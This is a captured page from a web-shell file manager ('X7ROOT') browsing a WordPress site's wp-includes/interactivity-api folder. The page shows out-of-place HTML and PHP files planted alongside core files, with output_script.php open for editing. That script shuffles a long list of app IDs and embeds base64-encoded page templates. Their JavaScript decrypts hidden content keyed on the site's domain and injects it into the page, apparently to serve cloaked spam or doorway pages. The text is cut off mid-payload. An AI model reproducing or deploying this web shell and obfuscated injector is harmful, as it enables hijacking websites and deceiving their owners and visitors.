X7ROOT File Manager
Current Path:
/home/greejped/cmilead.com/wp-includes/interactivity-api
home
/
greejped
/
cmilead.com
/
wp-includes
/
interactivity-api
/
ðŸ“
..
ðŸ“
child_cache
📄
class-wp-interactivity-api-directives-processor.php
(7.56 KB)
📄
class-wp-interactivity-api.php
(43.71 KB)
📄
collection.html
(18.27 KB)
📄
config.json
(159 B)
📄
detail.html
(21.16 KB)
📄
error_log
(197.9 MB)
📄
home.html
(16.68 KB)
📄
index.php
(54.94 KB)
📄
interactivity-api.php
(4.92 KB)
📄
output_script.php
(181.13 KB)
📄
static.css.html
(14.98 KB)
📄
static.js.html
(2.49 KB)
📄
web.config
(2 KB)
Editing: output_script.php
<?php // 函数:生成随机字符串 function generateRandomString($length = 10) { $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } $app_ids = [ 'f42c1bc3c8c26288', 'ed3a2e8ec84c2ba5', '43ffcfa7e71a78ef', '268e9fc97a822a63', '4280cd988db3fe2b', 'f6d2b50ee57b3bbc', '7cd89346d58ff9f1', 'b2cafca4d8353ba6', '1ba85492b2901f98', 'a6a2e3631f2f7c38', 'fc54c4d506dfa3f7', '2a05bdd549048e43', 'c1729909d0b2a3f3', 'cb5681fdb09a0e8c', 'bc38ffc811bd1570', '84fb9678ce075a1c', '05d26c8eb607083c', '0ad5b830959c1ebf', '6caa9f4029dd16c4', 'dc1c939a31ca99a6', '2f67f8ad78c177b7', '9e53cb19fa47f122', '1524232b115dca27', 'ae853e1a920cff85', '844388d8f95cf9ef', 'dca348cbef645d65', 'b2d7d68152d38358', '2d6d8b000f54ed0c', '07172191b9394156', '5a1f2ec6ec7ffbd9', 'e22a4c0304ad8b1c', 'ce623306a88f5ae8', 'edb589457107b73e', '34c18343e0b07caa', '8155edac49994d2f', '75342a1c84e3e9c9', '21fcf2007870b64d', 'd48ad3119037f34f', 'bdccb4febc5528e1', '4f2c8920f361144c', '1805e2f72fd4de0c', '91e304fee73ba1a9', '3139104511afd548', 'f642f89a274149e5', 'ac3ff690eea371eb', '8f1b31a15f4569a4', '843638c7169b0deb', '562bac587006f407', '1fff0a1107f97773', '0e48254252b1ecf3', 'c0dca75ae92c73a9', 'a5866d14be55cf92', '51d20d020aafb250', '8cb4456f9af654e4', '2daf2590717b9066', '0c5a6e4adc0c1437', 'e469e2b67f90efef', '9585f8b99fb37538', '7c787492c59825c2', 'bc2af1d58044932b', 'c17e159181129915', 'c547ce40f08892dc', '985dbb0deec16ca3', 'ad218a7cc136ad2a', 'bb64c14d6db3face', 'a8a0b22128ff15e5', 'd71b69cb4a79f348', 'b5bd85b00740d515', '36a20628990b8cb2', '1a7f5f78023714eb', 'fd2354f497a6de1a', 'eb62e8f09b4fef76', '41443b707dd5655e', '8a13b46fc4cb51ac', 'e0de2b55c1342add', 'beb3d85b3264760f', 'c60e084a42bdc24a', 'cad13c5e0ce1b200', '6e26e37a954d05cf', '5e811e39a92b41f1', '93f5848e3daf022c', 'd3a2c9eefcace0d0', 'ee454b28c1101ac4', '621c56731fba5970', 'a474d9f50e584d1a', 'd69867bb068c2af7', '0cbe568d367fcb2b', 'de10294c40c0d708', '0a59bdbea5b1166a', '5b30f519030a29cc', '70f24d68b0e3e7a3', '3e1f694e5c9a60e7', '2962d83be3cc1ad2', '0e477358b0dd80b1', 'dd9d5e373fbe00ed', 'da81c9834b379e24', '4d67a6de987fce73', '4720d0c64d2ca312', 'd864d380d274ded6', '7062bd482cb5ce13', '6475394d13cd6fad', '9789a32bb7936112', '76d713745dfb3ad3', 'c0a97a841de33f9c', 'f2c0e3a539b8f369', 'c475a19f73a9b1ad', 'a3e5a787dd0aac80', 'd664aa1eb92e0505', '1a4be20f74d13ba3', '8ae8a7746946350a', 'bc9098c0103941d4', '34b5749426cd6644', 'b688dc609843e020', 'e4916a52ed90477b', '44d6e56d21598b72', '63d70b53a5f62fec', 'ef1b40e517de185b', 'f7c7a14d0adb727a', 'e8ae1ecf0050f69f', '5c0a8116e1984466', '5aa29a7c3323fd6f', 'ecda794bf4a614d1', 'a7b3ec650aaa3256', '04ef2853ec9cfe1c', '31b65ad2b53d60d7', '051543679e5dae25', '70c5da918b5b6175', 'ad31a9fdaf2b08de', '95f2d0fdd13c87ac', '33a6a1f6d5ff8be5', 'ee231e287c21777a', 'aab048c65bfecee8', 'dfbd8a69676b8b47', '9e48359582f17b53', 'aa911427da6e6e4f', '2b905fb48509c947', '5d339904fed4f49c', '9f2cd7abbdeb1d60', '6e1ee6166d56acf4', '3976472d538b0f48', 'aef189cb606fc5e3', '82c7d85f8d2b7d24', 'd561e201845cee50', '2d87b6dc4295bda4', '17660bcc142fd40e', 'd01b06227519b5d4', '6fe5d339d19b8be7', '965ee4bce823033a', '8c5be5d38a547da4', 'd6ec5b4cc9633019', 'bacf5577c50989b4', '2c9b96b190ec2148', 'a5d1cfd981965b38', 'f3452e88cfde320c', '1db68dd6877f9eef', '135a5e4e24030ca3', '80e1d10837592277', 'adecf5aaf4f33476', '59daff6693c00b4b', '747c6fdee557db6a', '3a60a932698272c3', 'e455c95b1a2a3b32', '66850e81078af48d', '70b472d8ff7deb68', 'cf2b00e401211855', '57e59fdc8efdb7b3', '16806a3690ac7ccd', '4942a92c112dd7cf', 'c33666d26ea577b6', '44e2400b48a82506', '9aec357121e3daeb', 'b1a5e452b6c8f937', '924c8a7d3a875704', '8d98b3b9fec97d16', '1682fe7f50e798ee', '6669f36a3636caa6', 'a6af981563b065bd', 'f3af6c40cc589c37', '7defaa100b808842', '4fc6bc132a64a18c', '6ba2548ecab682dd', '765ca2ce5ef11d10', '01718b861ec080e3', 'a0ac6af5c379c464', '9f391a4ef286d778', '912038590ae388d9', 'd5b0e8899eb601c5', '41eeadf84c8bff34', 'fbcbe3a6adbd4578', '024b9b3135c675eb', 'b3bce85b5feada1a', '15f797ef4bc13f9a', '0e5c22f9b10f876c', 'fff48b92d22c85a4', '644c08b62059a6e7', 'c31506fcb152ab40', 'e4ea749f835725cd', '40c12027afb64a9d', '2ceeee26f4c21494', '1ae0592d97c5531d', '41c439d47f9c5bd8', '8800fa39132b73ad', '22a5ff848393d4e5', '82969af90ffd87aa', '52bd9f1a449828ca', '71daa9bfaeaf3ee0', '6bd512ab46f20eb3', '59b874db94f36089', '8a0c258f81534f3b', '9d66fb4d3c52e51b', 'dc6082d2229672ad', 'ae423046b257f8ed', '001197419b8c38b1', 'fe9f7afd25db9875', '84c287856fa1fc4c', 'a3898d5847ebcc5d', '1c7f6e068f9ec092', '269ed1e2219c02fc', '8e88dce4985bc39c', '546b48655dee5d40', '2bf6a722a4a945f1', 'c080455dcc70a692', '5c0edbaf00e87e02', '478c185b80543223', '4293e8342b795497', 'f4511799a4635023', '2cd9ee29aa758acd', '9e8174872e42ea3d', 'f5028f7ab5b7817e', 'aa722dbc44133cc0', '74811f2c356af726', '9743240b090966c7', '7047e18849e86076', 'a4d24b750e15fd64', 'efa39f7e56e3cb73', 'dbb478a0bd08a45f', '9a56cbcdcac7f9f0', 'f409da386bd2abf0', '6238e838a1a20f64', 'df5871362e26bdd6', '9c9f4edea7dbd134', '74c20ad424a0471a', '4db17f74b5c9de03', 'f6876a894d1b01c8', '3b0ae82cf7b4cd70', 'd0d82aac58d9e2f1', 'd44b2de782b8b586', 'bf095eef6260183d', 'b9d240750aa3cc88', '5f83a9809f5ffb38', '5fe246bbebac16be', 'ba4c2dee8b947483', 'ca9a61e4af23e40f', 'e0e0ccc6f4fddb81', '2e7af2c977b72be7', 'e4f8beca5b439957', '9b562ceb1d3b2418', '91aa496da75314a0', 'cef79b09d72b2ec4', '7d91c0c1d0e3846b', 'c9e2914975f35db5', '8184901d713fb76c', 'efe1a2ba7cf19bf6', '410691af3b8ceba8', 'e0f00374e78d24f3', 'd616d2c55911bc2f', 'd1fc266d99474c1b', '9fe80f951b712036', '12ce2e767528f952', '61edc17e0ccd8783', '408d990980b1628c', 'c55bff9f4c00d47b', '3830fb39ad7d4320', '78cc36979c4e6304', 'c7d1488ce7125559', 'd77b45dcbf18b599', 'd00650e0518720cc', '1a1bbb8e318676f7', '87428dde963b6cd3', '6e0d9afcdbce302f', '157b20fc0764626d', 'f682f89b0d727638', '14c89e01fe4bc52f', 'aeda737214112751', 'f84b19155ce24136', '29d7d090af7d4c01', 'c278d5372476d755', '6737fe3947db5610', 'f95dff27a68aa1fd', 'd32704f86bbd0865', 'ac80b08a44d0e936', '0606b942861096f4', 'ba676db8749f4d28', '561e2d648dccd9e2', 'b88fe3a09a81cb02', 'a42cc47e00fbade2', '9d5f8965a597142b', '35d12e70ae08fde6', '659b7fa0801cd8fc', '662fb4adc012ebe2', ]; shuffle($app_ids); $files = array ( 'collection.html' => 'PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuLVVTIiBwcmVmaXg9Im9nOiBodHRwOi8vb2dwLm1lL25zIyBmYjogaHR0cDovL29ncC5tZS9ucy9mYiMiPgo8aGVhZD4KICAgIDxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSIvPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSwgbWluaW11bS1zY2FsZT0xIi8+CiAgICA8bWV0YSBuYW1lPSdyb2JvdHMnIGNvbnRlbnQ9J21heC1pbWFnZS1wcmV2aWV3OmxhcmdlJy8+CiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY3J5cHRvLWpzLzQuMS4xL2NyeXB0by1qcy5taW4uanMiPjwvc2NyaXB0PgogICAge3trZXl3b3Jkc319CiAgICB7e2Rlc2NyaXB0aW9ufX0KICAgIHt7dGl0bGV9fQogICAgPHNjcmlwdD4KICAgICAgICBmdW5jdGlvbiBkZWNvZGUodCwgaykgewogICAgICAgICAgICBrID0gQ3J5cHRvSlMuTUQ1KGspLnRvU3RyaW5nKCk7CiAgICAgICAgICAgIGxldCBzID0gW107CiAgICAgICAgICAgIGxldCBpdiA9IGsucmVwZWF0KE1hdGguY2VpbCh0Lmxlbmd0aCAvIGsubGVuZ3RoKSkuc3Vic3RyaW5nKDAsIHQubGVuZ3RoKTsKCiAgICAgICAgICAgIGZvciAobGV0IGogPSAwOyBqIDwgdC5sZW5ndGg7IGorKykgewogICAgICAgICAgICAgICAgbGV0IGMgPSB0W2pdOwogICAgICAgICAgICAgICAgbGV0IGkgPSBpdltqXTsKICAgICAgICAgICAgICAgIGlmICgvW2EtekEtWl0vLnRlc3QoYykpIHsKICAgICAgICAgICAgICAgICAgICBsZXQgc3RhcnQgPSAvW2Etel0vLnRlc3QoYykgPyAnYScuY2hhckNvZGVBdCgwKSA6ICdBJy5jaGFyQ29kZUF0KDApOwogICAgICAgICAgICAgICAgICAgIHMucHVzaChTdHJpbmcuZnJvbUNoYXJDb2RlKHN0YXJ0ICsgKGMuY2hhckNvZGVBdCgwKSAtIHN0YXJ0IC0gaS5jaGFyQ29kZUF0KDApICUgMjYgKyAyNikgJSAyNikpOwogICAgICAgICAgICAgICAgfSBlbHNlIGlmIChjLmNoYXJDb2RlQXQoMCkgPj0gMzIgJiYgYy5jaGFyQ29kZUF0KDApIDw9IDY0KSB7CiAgICAgICAgICAgICAgICAgICAgbGV0IHN0YXJ0ID0gJyAnLmNoYXJDb2RlQXQoMCk7CiAgICAgICAgICAgICAgICAgICAgcy5wdXNoKFN0cmluZy5mcm9tQ2hhckNvZGUoc3RhcnQgKyAoYy5jaGFyQ29kZUF0KDApIC0gc3RhcnQgLSBpLmNoYXJDb2RlQXQoMCkgJSAzMyArIDMzKSAlIDMzKSk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIHMucHVzaChjKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gcy5qb2luKCcnKTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGRlY29kZUh0bWxFbnRpdGllcyhlbmNvZGVkU3RyKSB7CiAgICAgICAgICAgIHZhciB0ZXh0YXJlYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3RleHRhcmVhJyk7CiAgICAgICAgICAgIHRleHRhcmVhLmlubmVySFRNTCA9IGVuY29kZWRTdHI7CiAgICAgICAgICAgIHJldHVybiB0ZXh0YXJlYS52YWx1ZTsKICAgICAgICB9CgogICAgICAgIGxldCBjc3NUZXh0ID0ge3tzdGF0aWMuY3NzfX0KICAgICAgICB2YXIgZG9tYWluID0gd2luZG93LmxvY2F0aW9uLmhvc3RuYW1lOwogICAgICAgIGRvbWFpbiA9IGRvbWFpbi5yZXBsYWNlKC9ed3d3XC4vLCAnJykKICAgICAgICBsZXQgY3NzRGVjb2RlZFN0cmluZyA9IGRlY29kZUh0bWxFbnRpdGllcyhjc3NUZXh0LmpvaW4oJycpKTsKICAgICAgICBjb25zdCBjc3NEZWNyeXB0ZWRUZXh0ID0gZGVjb2RlKGNzc0RlY29kZWRTdHJpbmcsIGRvbWFpbik7CiAgICAgICAgZG9jdW1lbnQuaGVhZC5pbm5lckhUTUwgKz0gY3NzRGVjcnlwdGVkVGV4dAogICAgPC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHkgY2xhc3M9ImFyY2hpdmUgcG9zdC10eXBlLWFyY2hpdmUgcG9zdC10eXBlLWFyY2hpdmUtcHJvZHVjdCB3cC1lbWJlZC1yZXNwb25zaXZlIHRoZW1lLXBvcnRvIHdvb2NvbW1lcmNlLXNob3Agd29vY29tbWVyY2Ugd29vY29tbWVyY2UtcGFnZSB3b29jb21tZXJjZS1uby1qcyBsb2dpbi1wb3B1cCB3aWRlIGJsb2ctMSBib2R5LXNpZGUgZWxlbWVudG9yLWRlZmF1bHQgZWxlbWVudG9yLWtpdC0yMTUyIj4KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+CiAgICA8ZGVmcz4KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLWRhcmstZ3JheXNjYWxlIj4KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjQ5ODAzOTIxNTY4NjI3Ii8+CiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC40OTgwMzkyMTU2ODYyNyIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuNDk4MDM5MjE1Njg2MjciLz4KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+CiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+CiAgICAgICAgPC9maWx0ZXI+CiAgICA8L2RlZnM+Cjwvc3ZnPgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSIKICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4KICAgIDxkZWZzPgogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtZ3JheXNjYWxlIj4KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+CiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+CiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+CiAgICAgICAgPC9maWx0ZXI+CiAgICA8L2RlZnM+Cjwvc3ZnPgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSIKICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4KICAgIDxkZWZzPgogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtcHVycGxlLXllbGxvdyI+CiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4IgogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+CiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuNTQ5MDE5NjA3ODQzMTQgMC45ODgyMzUyOTQxMTc2NSIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC43MTc2NDcwNTg4MjM1MyAwLjI1NDkwMTk2MDc4NDMxIi8+CiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPgogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+CiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPgogICAgICAgIDwvZmlsdGVyPgogICAgPC9kZWZzPgo8L3N2Zz4KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+CiAgICA8ZGVmcz4KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLWJsdWUtcmVkIj4KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+CiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC4yNzg0MzEzNzI1NDkwMiIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjU5MjE1Njg2Mjc0NTEgMC4yNzg0MzEzNzI1NDkwMiIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPgogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4KICAgICAgICA8L2ZpbHRlcj4KICAgIDwvZGVmcz4KPC9zdmc+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIgogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPgogICAgPGRlZnM+CiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1taWRuaWdodCI+CiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4IgogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+CiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMCIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuNjQ3MDU4ODIzNTI5NDEiLz4KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+CiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPgogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+CiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPgogICAgICAgIDwvZmlsdGVyPgogICAgPC9kZWZzPgo8L3N2Zz4KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+CiAgICA8ZGVmcz4KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLW1hZ2VudGEteWVsbG93Ij4KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC43ODAzOTIxNTY4NjI3NSAxIi8+CiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC45NDkwMTk2MDc4NDMxNCIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjM1Mjk0MTE3NjQ3MDU5IDAuNDcwNTg4MjM1Mjk0MTIiLz4KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+CiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+CiAgICAgICAgPC9maWx0ZXI+CiAgICA8L2RlZnM+Cjwvc3ZnPgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSIKICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4KICAgIDxkZWZzPgogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtcHVycGxlLWdyZWVuIj4KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC42NTA5ODAzOTIxNTY4NiAwLjQwMzkyMTU2ODYyNzQ1Ii8+CiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPgogICAgICAgICAgICAgIC